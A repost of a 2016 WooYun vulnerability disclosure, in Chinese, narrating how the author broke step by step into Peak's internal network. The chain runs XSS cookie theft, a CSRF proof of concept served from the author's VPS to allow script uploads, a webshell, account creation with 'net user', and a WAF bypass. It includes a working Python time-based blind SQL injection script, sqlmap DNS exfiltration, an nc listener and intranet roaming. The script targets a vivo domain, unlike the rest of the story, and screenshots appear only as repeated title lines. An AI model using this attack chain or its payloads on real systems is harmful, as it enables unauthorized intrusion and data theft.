神刀安全网

漏洞标题: 我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

漏洞详情

披露状态:

2016-05-03: 细节已通知厂商并且等待厂商处理中
2016-05-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

此次测试历时大半个月吧,不容易啊

详细说明:

mask 区域
1.http://**.**.**/

先看看存不存在上传,不可以,做了限制

然后匹克某站存在xss漏洞

mask 区域
1.http://**.**.**/bugs/wooyun-2010-052615

官方修复了,前端做了限制,正常思路,抓包绕过

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

等了好几天,打到一堆,终于打到了管理的cookie

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

成功登陆,

发现了这个

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

试着修改图片上传类型,结果提示不是超级管理员权限不够,又用之前打到的一堆cookie试着登陆,有一个cookie登陆后,直接就302跳转了,猜想这个可能超级管理员啊

ip做了限制?

咋办啊?又纠结了好久,接着翻了翻匹克之前的洞

CSRF

缺陷编号: WooYun-2015-128938

漏洞标题: 匹克多处CSRF漏洞

mask 区域
1.http://**.**.**/bugs/wooyun-2010-0128938

后台会不会同样存在csrf呢,结果真有,全站都未做csrf防护啊

我灵机一动,当XSS遇上CSRF 是不是会有很大的“化学反应呢”

构造了个POC,放在vps上了

code 区域
<html>
<script>enclosure.pic_mime.value=".php|.jsp|.aspx";enclosure.submit.focus();</script>
</html>

插入xss代码

<iframe src="http://********/test.html" />

又是过了好久,头像可以上传了,成功getshell

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

试着添加用户

net user test test /add

权限不够,不是root权限,试着提权没成功

然后想到这就算了,就在这时,我又发现了匹克一处union注入,

我就想可不可以通过其他途径getshell呢,比如select into outfile

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

可是不知道路径…

天无绝人之路,许久之前我找到过匹克的一个盲注,影响不大就没提交,想想这回用上了

匹克主站是有安全狗的,不过可以用/**)*/绕过

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

root权限

附上poc脚本

code 区域
#encoding=utf-8
__author__ = 'Lu'
import httplib

import time

import string

import sys

import random

import urllib



headers = {'Content-Type': 'application/x-www-form-urlencoded',

'User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',}



payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'



print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())

user = ''



for i in range(1, 17):

for payload in payloads:

s = "cat_id=22) AND if((ascii(mid(lower(user()),%s,1))=%s),SLEEP(5),0) AND (8663=8663&orderBy=1&showtype=list&&virtual_cat_id=" % (i, ord(payload))

conn = httplib.HTTPConnection('http://shop1.vivo.com.cn:80', timeout=30)

conn.request(method='POST', url='/gallery-ajax_get_goods.html', body=s, headers=headers)

start_time = time.time()

html_doc = conn.getresponse().read()

conn.close()

print '.',

if time.time() - start_time > 1.0:

user += payload

print '/n[in progress]', user,

break



print '/n[Done] MySQL user is %s' % user

想想这回有戏啊,mysql 可以利用LOAD_FILE弄到路径

盲注,而且还有安全狗,实在太慢了,

于是想到可以利用DNS解析获取SQL结果啊

这是一种利用DNS解析过程获取恶意SQL查询结果的先进的SQL注入技术。带有sql查询结果的DNS请求最终被攻击者控制的远程域名服务器拦截并提取出宝贵的数据。

利用DNS从有漏洞的数据库中渗出数据的前提条件是DBMS中有可用的能直接或间接引发DNS解析过程的子程序。 然后这类的子程序被攻击者利用,作为攻击的媒介。

因为sqlmap中没有过这个安全狗的tamper,于是自己仿照着space2comments.py改写了一个

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

远程登录vps

nc -lvvp 6666进行监听

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

利用sqlmap –dns-domain –sql-shell

路径拿到

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

利用刚刚的union注入写入shell

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

这回是root权限

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

net use 添加用户 远程登录

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

成功漫游内网

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

漏洞标题:  我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

内网还有很多敏感性信息,可以直接控制扫面器打印机等,不进一步深入

整个测试过程大概经历了大半个月吧,从最开始的一个简单的绕过前端的xss,一点一点深入,各种组合拳,能到最后,其实也有很多运气的成分。这期间也学到了不少东西,明早还有安全编程的课,去睡了,晚安

漏洞证明:

已经证明

修复方案:

你们更加专业喽

版权声明:转载请注明来源 Mr.Q@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址